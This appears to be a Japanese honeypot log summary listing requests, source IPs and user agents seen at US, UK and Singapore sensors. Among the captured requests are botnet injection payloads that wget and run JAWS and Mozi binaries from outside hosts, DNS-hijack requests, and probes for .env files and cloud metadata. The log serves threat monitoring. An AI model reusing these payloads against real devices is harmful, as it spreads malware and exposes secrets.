1	GET	/trade/mobile/login.php	HTTP/1.1
1	GET	/uploads/20210928/01737e4f85f971bdf4d892dfaee6579c.png	HTTP/1.1
1	GET	/uploads/admin/202103/60584c5b88017.png	HTTP/1.1
1	GET	/us/img/nyyh/chkjs.js	HTTP/1.1
1	GET	/user/Login	HTTP/1.1
1	GET	/user/login.html	HTTP/1.1
2	GET	/user/register/	HTTP/1.1
1	GET	/v1/getConfig	HTTP/1.1
1	GET	/v1/management/tenant/getSpeedDomain	HTTP/1.1
1	GET	/v2/block/home/app/hot	HTTP/1.1
1	GET	/v2/start/config	HTTP/1.1
1	GET	/v6/getAppContent	HTTP/1.1
1	GET	/verification.asp	HTTP/1.1
1	GET	/views/commData/commonSite.js	HTTP/1.1
1	GET	/views/home/home.js	HTTP/1.1
1	GET	/wap.html	HTTP/1.1
2	GET	/wap/	HTTP/1.1
1	GET	/wap/api/exchangerateuserconfig!get.action	HTTP/1.1
1	GET	/wap/assets/images/icon1/12306.png	HTTP/1.1
1	GET	/wap/static//images/index_tzjr.png	HTTP/1.1
1	GET	/wap/trading/get_newallorder_ajax	HTTP/1.1
1	GET	/wap/trading/lastKlineParameter	HTTP/1.1
1	GET	/wap	HTTP/1.1
1	GET	/waplogin.php	HTTP/1.1
1	GET	/web/api/getBanner	HTTP/1.1
1	GET	/ws/index/getTheLotteryInitList	HTTP/1.1
1	GET	/xianyu/	HTTP/1.1
1	GET	/xianyu/image/jiantou.png	HTTP/1.1
1	GET	/xy/	HTTP/1.1
1	GET	/xy/image/jiantou.png	HTTP/1.1
1	GET	/yinjian/	HTTP/1.1
1	GET	/zoushi	HTTP/1.1
1	GET	/zxkj/js/customer-chat-widget.min.js	HTTP/1.1
1	GET	/zz/address.php?gid=651	HTTP/1.1
1	GET	/zz2/address.php?gid=651	HTTP/1.1
1	GET	http[:]//169[.]254[.]169[.]254/latest/meta-data/	HTTP/1.1
6	GET	http[:]//18[.]179[.]20[.]5:80/db/scripts/setup.php	HTTP/1.0
7	GET	http[:]//18[.]179[.]20[.]5:80/mysql/scripts/setup.php	HTTP/1.0
7	GET	http[:]//18[.]179[.]20[.]5:80/phpMyAdmin/scripts/setup.php	HTTP/1.0
7	GET	http[:]//18[.]179[.]20[.]5:80/pma/scripts/setup.php	HTTP/1.0
1	GET	http[:]//example[.]com/	HTTP/1.1
1	HEAD	/images/login.png	HTTP/1.1
1	HEAD	/images/login1.png	HTTP/1.1
1	HEAD	/images/login1_5.png	HTTP/1.1
1	HEAD	/images/weblogin.png	HTTP/1.1
1	OPTIONS	/	HTTP/1.1
3	POST	/HNAP1/	HTTP/1.1
1	POST	/api/app-info	HTTP/1.1
1	POST	/api/backstageManagement/system/systemConfigForPlatform	HTTP/1.1
1	POST	/api/config/getwebsitename	HTTP/1.1
1	POST	/api/im/conf	HTTP/1.1
1	POST	/api/lastestBetLog	HTTP/1.1
2	POST	/api/link/platform	HTTP/1.1
1	POST	/api/linkPF	HTTP/1.1
1	POST	/api/mstock/getsystemprivate	HTTP/1.1
1	POST	/api/notice	HTTP/1.1
1	POST	/api/system/system/config/get	HTTP/1.1
1	POST	/api/system/systemConfigs/getCustomerServiceLink	HTTP/1.1
1	POST	/api/user/ismustmobile	HTTP/1.1
1	POST	/api/user/mobilelogin	HTTP/1.1
1	POST	/api/v1/app-info	HTTP/1.1
1	POST	/api/v1/cocos/version	HTTP/1.1
1	POST	/biz/server/config	HTTP/1.1
1	POST	/checktoken	HTTP/1.1
1	POST	/debug.cgi	HTTP/1.1
1	POST	/index.php/User/sendsmscode	HTTP/1.1
1	POST	/index.php/api/other/appSetting	HTTP/1.1
1	POST	/kkrp/site/info	HTTP/1.1
1	POST	/km.asmx/getPlatParam	HTTP/1.1
1	POST	/login/kefuxian.mvc	HTTP/1.1
1	POST	/melody/api/v1/pageconfig/list	HTTP/1.1
1	POST	/site/api/v1/configuration/onlinecustomservice	HTTP/1.1
1	POST	/site/api/v1/site/vipExclusiveDomain/getGuestDomain	HTTP/1.1
1	POST	/user/getAllNicknames	HTTP/1.1
1	POST	/wap/banner/details	HTTP/1.1
1	POST	/wap/forward	HTTP/1.1

Location:US

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	5.188.210.227	Russia
1	20.9.71.118	United States
1	20.39.221.204	United States
1	20.74.83.252	United States
1	20.121.49.204	United States
5	20.168.74.192	United States
1	20.227.8.240	United States
1	36.110.214.195	China
2	45.227.254.51	Belize
1	51.79.29.48	Canada
12	54.37.79.75	France
1	64.62.197.142	United States
1	66.240.205.34	United States
1	92.118.39.30	Romania
1	92.255.85.6	Hong Kong
1	92.255.85.177	Hong Kong
1	92.255.85.178	Hong Kong
1	108.60.209.44	United States
1	113.175.21.204	Vietnam
3	118.126.82.157	China
7	132.145.46.98	United States
2	152.89.196.62	Russia
1	156.223.219.244	Egypt
2	162.142.125.9	United States
1	162.220.165.123	United States
1	185.216.71.68	Bulgaria
2	185.216.71.180	Bulgaria
1	185.216.71.242	Bulgaria
7	185.254.196.223	Ukraine
1	192.241.192.14	United States
1	192.241.194.141	United States
1	192.241.216.87	United States
1	194.195.243.174	United States
1	197.49.93.188	Egypt
1	197.58.231.127	Egypt
1	197.60.63.80	Egypt
1	207.32.217.75	United States
1	217.208.219.134	Sweden
1	223.73.6.70	China

UserAgent一覧

件数	UserAgent
20	-
2	Go-http-client/1.1
1	Hello, World
5	Hello, world
1	Mozila/5.0
6	Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30
2	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
1	Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
23	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
3	Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
1	Mozilla/5.0 (compatible; Googlebot/2.1 +http[:]//www[.]googlebot[.]com/bot.html)
3	Mozilla/5.0 zgrab/0.x
1	curl/7.29.0
2	python-requests/2.21.0

リクエスト内容一覧

件数	Method	Request	Protocol
1		Gh0st\xad
5		\x03
27	GET	/.env	HTTP/1.1
1	GET	/.git/config	HTTP/1.1
1	GET	/?XDEBUG_SESSION_START=phpstorm	HTTP/1.1
1	GET	/ReportServer	HTTP/1.1
2	GET	/_profiler/phpinfo	HTTP/1.1
1	GET	/actuator/gateway/routes	HTTP/1.1
1	GET	/boaform/admin/formLogin?username=admin&psd=admin	HTTP/1.0
1	GET	/config.json	HTTP/1.1
1	GET	/debug/default/view?panel=config	HTTP/1.1
2	GET	/favicon.ico	HTTP/1.1
1	GET	/info.php	HTTP/1.1
1	GET	/manager/html	HTTP/1.1
1	GET	/manager/text/list	HTTP/1.1
1	GET	/php.php	HTTP/1.1
1	GET	/phpinfo.php	HTTP/1.1
1	GET	/phpinfo	HTTP/1.1
1	GET	/shell?cd+/tmp;rm+-rf+*;wget+0[.]0[.]0[.]0/jaws;sh+/tmp/jaws	HTTP/1.1
4	GET	/shell?cd+/tmp;rm+-rf+*;wget+botnet[.]psscc[.]cn/jaws;sh+/tmp/jaws	HTTP/1.1
1	GET	/test.php	HTTP/1.1
1	GET	/vsr3/App_Themes/Default/Forms.css	HTTP/1.1
1	GET	http[:]//34[.]68[.]118[.]83:80/mysql/scripts/setup.php	HTTP/1.0
1	GET	http[:]//34[.]68[.]118[.]83:80/phpMyAdmin/scripts/setup.php	HTTP/1.0
1	GET	http[:]//34[.]68[.]118[.]83:80/pma/scripts/setup.php	HTTP/1.0
1	GET	http[:]//5[.]188[.]210[.]227/echo.php	HTTP/1.1
1	GET	http[:]//example[.]com/	HTTP/1.1
1	HEAD	/robots.txt	HTTP/1.0
1	POST	/GponForm/diag_Form?images/	HTTP/1.1
1	POST	/HNAP1/	HTTP/1.0
1	POST	/HNAP1/	HTTP/1.1
3	POST	/boaform/admin/formLogin	HTTP/1.1
2	POST	/debug.cgi	HTTP/1.1
1	PRI	*	HTTP/2.0

Location:UK

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	2.57.122.209	Romania
4	5.181.80.37	Bulgaria
1	20.39.221.204	United States
9	20.169.42.204	United States
1	27.38.193.167	China
3	27.150.190.96	China
1	41.238.43.139	Egypt
3	43.136.180.34	China
1	51.89.158.68	France
1	66.240.192.82	United States
2	80.66.88.203	Russia
1	92.118.39.30	Romania
1	92.255.85.6	Hong Kong
1	92.255.85.158	Hong Kong
1	92.255.85.175	Hong Kong
1	92.255.85.177	Hong Kong
4	101.33.247.52	China
4	101.35.224.108	China
12	120.53.125.233	China
1	128.14.134.134	United States
1	141.98.6.162	Bulgaria
1	150.95.82.61	Singapore
2	152.89.196.62	Russia
1	156.216.189.121	Egypt
2	162.142.125.213	United States
1	162.220.165.123	United States
1	171.22.30.130	Bulgaria
1	172.104.242.173	United States
1	175.172.59.167	China
1	185.205.87.14	Poland
2	185.216.71.180	Bulgaria
8	185.254.196.223	Ukraine
8	192.144.226.159	China
1	192.241.197.121	United States
1	192.241.208.61	United States
1	192.241.210.142	United States
1	194.26.228.174	Russia
1	197.62.86.151	Egypt
1	198.235.24.144	United States
1	216.218.206.120	United States

UserAgent一覧

件数	UserAgent
52	-
3	Go-http-client/1.1
3	Hello, world
2	Mozila/5.0
1	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
2	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1	Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9) Gecko/2008052906 Firefox/3.0
18	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1	Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
1	Mozilla/5.0 (X11; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0 X-Middleton/1
1	Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
1	Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0
3	Mozilla/5.0 zgrab/0.x
1	python-requests/2.21.0

リクエスト内容一覧

件数	Method	Request	Protocol
6		\x03
2		\x16\x03\x01
1		\xba\xabd\xa1EZC\xdbM\x87\xee^\xfd\xbf\x159	X\xd4>\x12\x98\xc4<\xe0\x13\xcf
10	GET	/.env	HTTP/1.1
1	GET	//MyAdmin/scripts/setup.php	HTTP/1.1
1	GET	//myadmin/scripts/setup.php	HTTP/1.1
1	GET	//phpMyAdmin/scripts/setup.php	HTTP/1.1
1	GET	//pma/scripts/setup.php	HTTP/1.1
1	GET	/?XDEBUG_SESSION_START=phpstorm	HTTP/1.1
1	GET	/ReportServer	HTTP/1.1
1	GET	/actuator/gateway/routes	HTTP/1.1
1	GET	/admin/	HTTP/1.1
1	GET	/app/.env	HTTP/1.1
1	GET	/boaform/admin/formLogin?username=admin&psd=admin	HTTP/1.0
1	GET	/config/getuser?index=0	HTTP/1.1
1	GET	/core/.env	HTTP/1.1
1	GET	/data/.env	HTTP/1.1
1	GET	/database/.env	HTTP/1.1
2	GET	/favicon.ico	HTTP/1.1
1	GET	/laravel/.env	HTTP/1.1
1	GET	/manager/html	HTTP/1.1
1	GET	/manager/text/list	HTTP/1.1
1	GET	/prod/.env	HTTP/1.1
1	GET	/public/.env	HTTP/1.1
1	GET	/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//175[.]172[.]59[.]167:51676/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1	HTTP/1.0
1	GET	/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//192[.]168[.]1[.]1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1	HTTP/1.0
3	GET	/shell?cd+/tmp;rm+-rf+*;wget+botnet[.]psscc[.]cn/jaws;sh+/tmp/jaws	HTTP/1.1
1	GET	/user/register/	HTTP/1.1
1	GET	/vendor/.env	HTTP/1.1
8	GET	http[:]//132[.]145[.]66[.]34:80/db/scripts/setup.php	HTTP/1.0
9	GET	http[:]//132[.]145[.]66[.]34:80/mysql/scripts/setup.php	HTTP/1.0
8	GET	http[:]//132[.]145[.]66[.]34:80/phpMyAdmin/scripts/setup.php	HTTP/1.0
9	GET	http[:]//132[.]145[.]66[.]34:80/pma/scripts/setup.php	HTTP/1.0
2	GET	http[:]//example[.]com/	HTTP/1.1
1	HEAD	/robots.txt	HTTP/1.0
2	POST	/HNAP1/	HTTP/1.1
1	POST	/boaform/admin/formLogin	HTTP/1.1
1	POST	/debug.cgi	HTTP/1.1
1	POST	/dnscfg.cgi?dnsPrimary=128.0.104.18&dnsSecondary=128.0.104.18&dnsDynamic=0&dnsRefresh=1&dnsIfcsList=	HTTP/1.1
1	PRI	*	HTTP/2.0

Location:SG

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	2.57.122.209	Romania
1	20.39.221.204	United States
1	20.92.16.135	United States
1	20.121.49.204	United States
1	23.251.102.74	United States
1	27.184.51.34	China
2	45.227.254.26	Belize
2	46.60.87.59	Palestine
17	54.37.79.75	France
1	60.180.238.71	China
1	66.240.192.82	United States
1	66.240.205.34	United States
1	92.255.85.175	Hong Kong
1	92.255.85.178	Hong Kong
1	104.208.77.22	United States
1	116.30.248.209	China
1	141.98.6.162	Bulgaria
2	152.89.196.62	Russia
2	162.142.125.9	United States
2	162.142.125.212	United States
2	167.94.138.63	United States
1	167.99.113.246	United States
1	185.216.71.182	Bulgaria
2	185.216.71.242	Bulgaria
1	185.220.101.167	Germany
8	185.254.196.223	Ukraine
1	192.241.220.181	United States
1	193.118.55.170	United States
1	194.26.228.174	Russia
1	205.210.31.3	United States

UserAgent一覧

件数	UserAgent
14	-
4	Go-http-client/1.1
1	Hello, World
1	Hello, world
2	Mozila/5.0
2	Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30
1	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
2	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
2	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
2	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
25	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1	Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
1	Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0
1	Mozilla/5.0 zgrab/0.x
1	python-requests/2.21.0

リクエスト内容一覧

件数	Method	Request	Protocol
1		Gh0st\xad
1		SSH-2.0-Go
4		\x03
2		\x16\x03\x01
27	GET	/.env	HTTP/1.1
1	GET	/?XDEBUG_SESSION_START=phpstorm	HTTP/1.1
1	GET	/actuator/gateway/routes	HTTP/1.1
1	GET	/admin/	HTTP/1.1
1	GET	/agc/timeclock.php	HTTP/1.1
1	GET	/agent/timeclock.php	HTTP/1.1
1	GET	/config/getuser?index=0	HTTP/1.1
1	GET	/dnscfg.cgi?dnsPrimary=128.0.104.18&dnsSecondary=128.0.104.33&dnsDynamic=0&dnsRefresh=1	HTTP/1.1
5	GET	/favicon.ico	HTTP/1.1
1	GET	/manager/html	HTTP/1.1
1	GET	/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//60[.]180[.]238[.]71:55678/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1	HTTP/1.0
1	GET	/shell?cd+/tmp;rm+-rf+*;wget+0[.]0[.]0[.]0/jaws;sh+/tmp/jaws	HTTP/1.1
1	GET	http[:]//example[.]com/	HTTP/1.1
1	HEAD	/robots.txt	HTTP/1.0
1	POST	/GponForm/diag_Form?images/	HTTP/1.1
1	POST	/HNAP1/	HTTP/1.0
2	POST	/HNAP1/	HTTP/1.1
1	POST	/debug.cgi	HTTP/1.1
3	PRI	*	HTTP/2.0